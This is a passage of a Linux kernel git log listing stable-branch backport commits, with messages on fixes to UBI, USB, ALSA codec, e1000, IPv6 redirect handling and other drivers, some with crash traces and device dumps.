    commit 299d0c5b27346a77a0777c993372bf8777d4f2e5 upstream.
    
    The comparison from the previous line seems to have been erroneously
    (partially) copied-and-pasted onto the next. The second line should be
    checking req.bytes, not req.lnum.
    
    Coverity CID #139400
    
    Signed-off-by: Brian Norris <computersforpeace@gmail.com>
    [rw: Fixed comparison]
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 0513688a9526f55e3090630901aeed1c76ca7fc3
Author: Brian Norris <computersforpeace@gmail.com>
Date:   Sat Feb 28 02:23:27 2015 -0800

    UBI: initialize LEB number variable
    
    commit f16db8071ce18819fbd705ddcc91c6f392fb61f8 upstream.
    
    In some of the 'out_not_moved' error paths, lnum may be used
    uninitialized. Don't ignore the warning; let's fix it.
    
    This uninitialized variable doesn't have much visible effect in the end,
    since we just schedule the PEB for erasure, and its LEB number doesn't
    really matter (it just gets printed in debug messages). But let's get it
    straight anyway.
    
    Coverity CID #113449
    
    Signed-off-by: Brian Norris <computersforpeace@gmail.com>
    Signed-off-by: Richard Weinberger <richard@nod.at>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 9ef6369ce62c086c475891681e529f24b377241c
Author: Brian Norris <computersforpeace@gmail.com>
Date:   Sat Feb 28 02:23:26 2015 -0800

    UBI: fix out of bounds write
    
    commit d74adbdb9abf0d2506a6c4afa534d894f28b763f upstream.
    
    If aeb->len >= vol->reserved_pebs, we should not be writing aeb into the
    PEB->LEB mapping.
    
    Caught by Coverity, CID #711212.
    
    Signed-off-by: Brian Norris <computersforpeace@gmail.com>
    Signed-off-by: Richard Weinberger <richard@nod.at>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 058ee4d9f5d19172ee16e5a816f65b3e97327e5a
Author: Sudip Mukherjee <sudipm.mukherjee@gmail.com>
Date:   Tue Mar 24 16:29:32 2015 +0530

    staging: panel: fix lcd type
    
    commit 2c20d92dad5db6440cfa88d811b69fd605240ce4 upstream.
    
    the lcd type as defined in the Kconfig is not matching in the code.
    as a result the rs, rw and en pins were getting interchanged.
    Kconfig defines the value of PANEL_LCD to be 1 if we select custom
    configuration but in the code LCD_TYPE_CUSTOM is defined as 5.
    
    my hardware is LCD_TYPE_CUSTOM, but the pins were assigned to it
    as pins of LCD_TYPE_OLD, and it was not working.
    Now values are corrected with referenece to the values defined in
    Kconfig and it is working.
    checked on JHD204A lcd with LCD_TYPE_CUSTOM configuration.
    
    Signed-off-by: Sudip Mukherjee <sudip@vectorindia.org>
    Acked-by: Willy Tarreau <w@1wt.eu>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 3332e3d816fc023e8595ca70b72bf4d03dc67497
Author: Oliver Neukum <oneukum@suse.de>
Date:   Fri Mar 20 14:29:34 2015 +0100

    cdc-wdm: fix endianness bug in debug statements
    
    commit 323ece54e0761198946ecd0c2091f1d2bfdfcb64 upstream.
    
    Values directly from descriptors given in debug statements
    must be converted to native endianness.
    
    Signed-off-by: Oliver Neukum <oneukum@suse.de>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit c0a50fc107ca37cd51f9c472d34a430fe7bfb2fe
Author: Sergej Sawazki <ce3a@gmx.de>
Date:   Tue Mar 24 21:13:22 2015 +0100

    ASoC: wm8741: Fix rates constraints values
    
    commit 8787041d9bb832b9449b1eb878cedcebce42c61a upstream.
    
    The WM8741 DAC supports the following typical audio sampling rates:
      44.1kHz, 88.2kHz, 176.4kHz (eg: with a master clock of 22.5792MHz)
      32kHz, 48kHz, 96kHz, 192kHz (eg: with a master clock of 24.576MHz)
    
    For the rates lists, we should use 82000 instead of 88235, 176400
    instead of 1764000 and 192000 instead of 19200 (seems to be a typo).
    
    Signed-off-by: Sergej Sawazki <ce3a@gmx.de>
    Acked-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 5f37f495354f63b8e929f5c4e60fe4e3753c06eb
Author: Peter Chen <peter.chen@freescale.com>
Date:   Thu Mar 12 09:47:53 2015 +0800

    usb: common: otg-fsm: only signal connect after switching to peripheral
    
    commit 990919cad55a8c38fc73b0a6a0c9e5e4e927a5f8 upstream.
    
    We should signal connect (pull up dp) after we have already
    at peripheral mode, otherwise, the dp may be toggled due to
    we reset controller or do disconnect during the initialization
    for peripheral, then, the host may be confused during the
    enumeration, eg, it finds the reset can't succeed, but the
    device is still there, see below error message.
    
    hub 1-0:1.0: USB hub found
    hub 1-0:1.0: 1 port detected
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: Cannot enable port 1.  Maybe the USB cable is bad?
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: Cannot enable port 1.  Maybe the USB cable is bad?
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: Cannot enable port 1.  Maybe the USB cable is bad?
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: cannot reset port 1 (err = -32)
    hub 1-0:1.0: Cannot enable port 1.  Maybe the USB cable is bad?
    hub 1-0:1.0: unable to enumerate USB device on port 1
    
    Fixes: the issue existed when the otg fsm code was added.
    Signed-off-by: Peter Chen <peter.chen@freescale.com>
    Signed-off-by: Felipe Balbi <balbi@ti.com>
    [lizf: Backported to 3.4:
     - adjust filename
     - adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 377bd9bd65d31bef5ee4345fc7c15f13dbf66c8a
Author: Alex Deucher <alexander.deucher@amd.com>
Date:   Tue Feb 24 11:29:21 2015 -0500

    drm/radeon: fix doublescan modes (v2)
    
    commit fd99a0943ffaa0320ea4f69d09ed188f950c0432 upstream.
    
    Use the correct flags for atom.
    
    v2: handle DRM_MODE_FLAG_DBLCLK
    
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 5fbb6bf00e864ea6c1c5c623db09bc634f61b814
Author: Baruch Siach <baruch@tkos.co.il>
Date:   Mon Mar 9 19:20:30 2015 +0200

    pinctrl: fix example .get_group_pins implementation signature
    
    commit 838d030bda9e2da5f9dcf7251f4e117c6258cb2f upstream.
    
    The callback function signature has changed in commit a5818a8bd0 (pinctrl:
    get_group_pins() const fixes)
    
    Fixes: a5818a8bd0 ('pinctrl: get_group_pins() const fixes')
    Cc: Stephen Warren <swarren@nvidia.com>
    Signed-off-by: Baruch Siach <baruch@tkos.co.il>
    Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 5cee91e968a1da2c06e3e8555c5ff47d80b87c8b
Author: Baruch Siach <baruch@tkos.co.il>
Date:   Sun Mar 8 10:51:46 2015 +0200

    pinctrl: remove doc mention of the enable/disable API
    
    commit b18104c00089c73f2b70790765d40424a4f9b65f upstream.
    
    This API has changed in commit 6e5e959dde0 (pinctrl: API changes to support
    multiple states per device).
    
    Fixes: 6e5e959dde0 ('pinctrl: API changes to support multiple states per device')
    Cc: Stephen Warren <swarren@nvidia.com>
    Signed-off-by: Baruch Siach <baruch@tkos.co.il>
    Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit ed53cbd0af77a73171d92cda1d379b02332e355e
Author: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Date:   Thu Mar 12 08:44:00 2015 +0100

    compal-laptop: Check return value of power_supply_register
    
    commit 1915a718b1872edffcb13e5436a9f7302d3d36f0 upstream.
    
    The return value of power_supply_register() call was not checked and
    even on error probe() function returned 0. If registering failed then
    during unbind the driver tried to unregister power supply which was not
    actually registered.
    
    This could lead to memory corruption because power_supply_unregister()
    unconditionally cleans up given power supply.
    
    Fix this by checking return status of power_supply_register() call. In
    case of failure, clean up sysfs entries and fail the probe.
    
    Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com>
    Fixes: 9be0fcb5ed46 ("compal-laptop: add JHL90, battery & hwmon interface")
    Signed-off-by: Sebastian Reichel <sre@kernel.org>
    [lizf: Backported to 3.4: there's no "remove" label. Do cleanup inside if block]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 019114ceb62948be1645fcf47b09979269cf794a
Author: Baruch Siach <baruch@tkos.co.il>
Date:   Mon Mar 2 16:55:02 2015 +0200

    pinctrl: remove maxpin from documentation
    
    commit 939417bd8b909ae34a3b2106531594f5115eaea5 upstream.
    
    struct pinctrl_desc does not contain the maxpin member since commit 0d2006bbf0
    (pinctrl: remove unnecessary max pin number).
    
    Fixes: 0d2006bbf0 ('pinctrl: remove unnecessary max pin number')
    Signed-off-by: Baruch Siach <baruch@tkos.co.il>
    Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 1c1a16a300f20cad61127a8ced4289c1bfaa3999
Author: Felipe Balbi <balbi@ti.com>
Date:   Mon Dec 30 12:33:53 2013 -0600

    usb: musb: core: fix TX/RX endpoint order
    
    commit e3c93e1a3f35be4cf1493d3ccfb0c6d9209e4922 upstream.
    
    As per Mentor Graphics' documentation, we should
    always handle TX endpoints before RX endpoints.
    
    This patch fixes that error while also updating
    some hard-to-read comments which were scattered
    around musb_interrupt().
    
    This patch should be backported as far back as
    possible since this error has been in the driver
    since it's conception.
    
    Signed-off-by: Felipe Balbi <balbi@ti.com>
    [lizf: Backported to 3.4: adjust context]
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit cd440e0c3ff86c3dbc7bffea5fe7a3f083287880
Author: Ekaterina Tumanova <tumanova@linux.vnet.ibm.com>
Date:   Tue Mar 3 09:54:41 2015 +0100

    KVM: s390: Zero out current VMDB of STSI before including level3 data.
    
    commit b75f4c9afac2604feb971441116c07a24ecca1ec upstream.
    
    s390 documentation requires words 0 and 10-15 to be reserved and stored as
    zeros. As we fill out all other fields, we can memset the full structure.
    
    Signed-off-by: Ekaterina Tumanova <tumanova@linux.vnet.ibm.com>
    Reviewed-by: David Hildenbrand <dahi@linux.vnet.ibm.com>
    Signed-off-by: Christian Borntraeger <borntraeger@de.ibm.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 4d2837d5dd82474f3f4eab26e1cab49172084b6f
Author: Sabrina Dubroca <sd@queasysnail.net>
Date:   Thu Feb 26 05:35:41 2015 +0000

    e1000: add dummy allocator to fix race condition between mtu change and netpoll
    
    commit 08e8331654d1d7b2c58045e549005bc356aa7810 upstream.
    
    There is a race condition between e1000_change_mtu's cleanups and
    netpoll, when we change the MTU across jumbo size:
    
    Changing MTU frees all the rx buffers:
        e1000_change_mtu -> e1000_down -> e1000_clean_all_rx_rings ->
            e1000_clean_rx_ring
    
    Then, close to the end of e1000_change_mtu:
        pr_info -> ... -> netpoll_poll_dev -> e1000_clean ->
            e1000_clean_rx_irq -> e1000_alloc_rx_buffers -> e1000_alloc_frag
    
    And when we come back to do the rest of the MTU change:
        e1000_up -> e1000_configure -> e1000_configure_rx ->
            e1000_alloc_jumbo_rx_buffers
    
    alloc_jumbo finds the buffers already != NULL, since data (shared with
    page in e1000_rx_buffer->rxbuf) has been re-alloc'd, but it's garbage,
    or at least not what is expected when in jumbo state.
    
    This results in an unusable adapter (packets don't get through), and a
    NULL pointer dereference on the next call to e1000_clean_rx_ring
    (other mtu change, link down, shutdown):
    
    BUG: unable to handle kernel NULL pointer dereference at           (null)
    IP: [<ffffffff81194d6e>] put_compound_page+0x7e/0x330
    
        [...]
    
    Call Trace:
     [<ffffffff81195445>] put_page+0x55/0x60
     [<ffffffff815d9f44>] e1000_clean_rx_ring+0x134/0x200
     [<ffffffff815da055>] e1000_clean_all_rx_rings+0x45/0x60
     [<ffffffff815df5e0>] e1000_down+0x1c0/0x1d0
     [<ffffffff811e2260>] ? deactivate_slab+0x7f0/0x840
     [<ffffffff815e21bc>] e1000_change_mtu+0xdc/0x170
     [<ffffffff81647050>] dev_set_mtu+0xa0/0x140
     [<ffffffff81664218>] do_setlink+0x218/0xac0
     [<ffffffff814459e9>] ? nla_parse+0xb9/0x120
     [<ffffffff816652d0>] rtnl_newlink+0x6d0/0x890
     [<ffffffff8104f000>] ? kvm_clock_read+0x20/0x40
     [<ffffffff810a2068>] ? sched_clock_cpu+0xa8/0x100
     [<ffffffff81663802>] rtnetlink_rcv_msg+0x92/0x260
    
    By setting the allocator to a dummy version, netpoll can't mess up our
    rx buffers.  The allocator is set back to a sane value in
    e1000_configure_rx.
    
    Fixes: edbbb3ca1077 ("e1000: implement jumbo receive with partial descriptors")
    Signed-off-by: Sabrina Dubroca <sd@queasysnail.net>
    Tested-by: Aaron Brown <aaron.f.brown@intel.com>
    Signed-off-by: Jeff Kirsher <jeffrey.t.kirsher@intel.com>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit a76338a925c7647c6f7840eb36c9c85265e51df0
Author: K. Y. Srinivasan <kys@microsoft.com>
Date:   Fri Feb 27 11:26:04 2015 -0800

    Drivers: hv: vmbus: Fix a bug in the error path in vmbus_open()
    
    commit 40384e4bbeb9f2651fe9bffc0062d9f31ef625bf upstream.
    
    Correctly rollback state if the failure occurs after we have handed over
    the ownership of the buffer to the host.
    
    Signed-off-by: K. Y. Srinivasan <kys@microsoft.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit b1113711799e3b7dfa4ca18d9a873245112996a9
Author: Alexander Ploumistos <alex.ploumistos@gmail.com>
Date:   Fri Feb 13 21:05:11 2015 +0200

    Bluetooth: ath3k: Add support Atheros AR5B195 combo Mini PCIe card
    
    commit 2eeff0b4317a02f0e281df891d990194f0737aae upstream.
    
    Add 04f2:aff1 to ath3k.c supported devices list and btusb.c blacklist, so
    that the device can load the ath3k firmware and re-enumerate itself as an
    AR3011 device.
    
    T:  Bus=05 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#=  2 Spd=12   MxCh= 0
    D:  Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs=  1
    P:  Vendor=04f2 ProdID=aff1 Rev= 0.01
    C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
    I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=81(I) Atr=03(Int.) MxPS=  16 Ivl=1ms
    E:  Ad=82(I) Atr=02(Bulk) MxPS=  64 Ivl=0ms
    E:  Ad=02(O) Atr=02(Bulk) MxPS=  64 Ivl=0ms
    I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=   0 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=   0 Ivl=1ms
    I:  If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=   9 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=   9 Ivl=1ms
    I:  If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=  17 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=  17 Ivl=1ms
    I:  If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=  25 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=  25 Ivl=1ms
    I:  If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=  33 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=  33 Ivl=1ms
    I:  If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
    E:  Ad=83(I) Atr=01(Isoc) MxPS=  49 Ivl=1ms
    E:  Ad=03(O) Atr=01(Isoc) MxPS=  49 Ivl=1ms
    
    Signed-off-by: Alexander Ploumistos <alexpl@fedoraproject.org>
    Signed-off-by: Marcel Holtmann <marcel@holtmann.org>
    Signed-off-by: Zefan Li <lizefan@huawei.com>

commit 9a6fbaeb68f43f252c204e2ecf87a5d984b35a9d
Author: Weilong Chen <chenweilong@huawei.com>
Date:   Mon Sep 14 09:27:08 2015 +0800

    ipv6: add check for blackhole or prohibited entry in rt6_redire
    
    There's a check for ip6_null_entry, but it's not enough if the config
    CONFIG_IPV6_MULTIPLE_TABLES is selected. Blackhole or prohibited entries
    should also be ignored.
    
    This path is for kernel before v3.6, as there's a commit b94f1c0
    use icmpv6_notify() instead of rt6_redirect() and rt6_redirect has
    been deleted.
    
    The oops as follow:
        [exception RIP: do_raw_write_lock+12]
        RIP: ffffffff8122c42c  RSP: ffff880666e45820  RFLAGS: 00010282
        RAX: ffff8801207bffd8  RBX: 0000000000000018  RCX: 0000000000000000
        RDX: 0000000000000000  RSI: ffff880666e45898  RDI: 0000000000000018
        RBP: ffff880666e45830   R8: 000000000000001e   R9: 0000000006000000
        R10: ffff88011796b8a0  R11: 0000000000000004  R12: ffff88010391ed00
        R13: 0000000000000000  R14: ffff880666e45898  R15: ffff88011796b890
        ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018
        [ffff880666e45838] _raw_write_lock_bh at ffffffff81450b39
        [ffff880666e45858] __ip6_ins_rt at ffffffff813ed8c1
        [ffff880666e45888] ip6_ins_rt at ffffffff813eef58
        [ffff880666e458b8] rt6_redirect at ffffffff813f0b84
        [ffff880666e45958] ndisc_rcv at ffffffff813f95d8
        [ffff880666e45a08] icmpv6_rcv at ffffffff814000e8
        [ffff880666e45ae8] ip6_input_finish at ffffffff813e43bb
        [ffff880666e45b38] ip6_input at ffffffff813e4b08
        [ffff880666e45b68] ipv6_rcv at ffffffff813e4969
        [ffff880666e45bc8] __netif_receive_skb at ffffffff8135158a
        [ffff880666e45c38] dev_gro_receive at ffffffff81351cb0
        [ffff880666e45c78] napi_gro_receive at ffffffff81351fc5
        [ffff880666e45cb8] tg3_rx at ffffffffa0bfb354 [tg]
        [ffff880666e45d88] tg3_poll_work at ffffffffa0c07857 [tg]
        [ffff880666e45e18] tg3_poll_msix at ffffffffa0c07d1b [tg]
        [ffff880666e45e68] net_rx_action at ffffffff81352219
        [ffff880666e45ec8] __do_softirq at ffffffff8103e5a1
        [ffff880666e45f38] call_softirq at ffffffff81459c4c
        [ffff880666e45f50] do_softirq at ffffffff8100413d
        [ffff880666e45f80] do_IRQ at ffffffff81003cce
    This happened when ip6_route_redirect found a rt which was set
    blackhole, the rt had a NULL rt6i_table argument which is accessed by
    __ip6_ins_rt() when trying to lock rt6i_table->tb6_lock caused a BUG:
    "BUG: unable to handle kernel NULL pointer"
    
    Signed-off-by: Weilong Chen <chenweilong@huawei.com>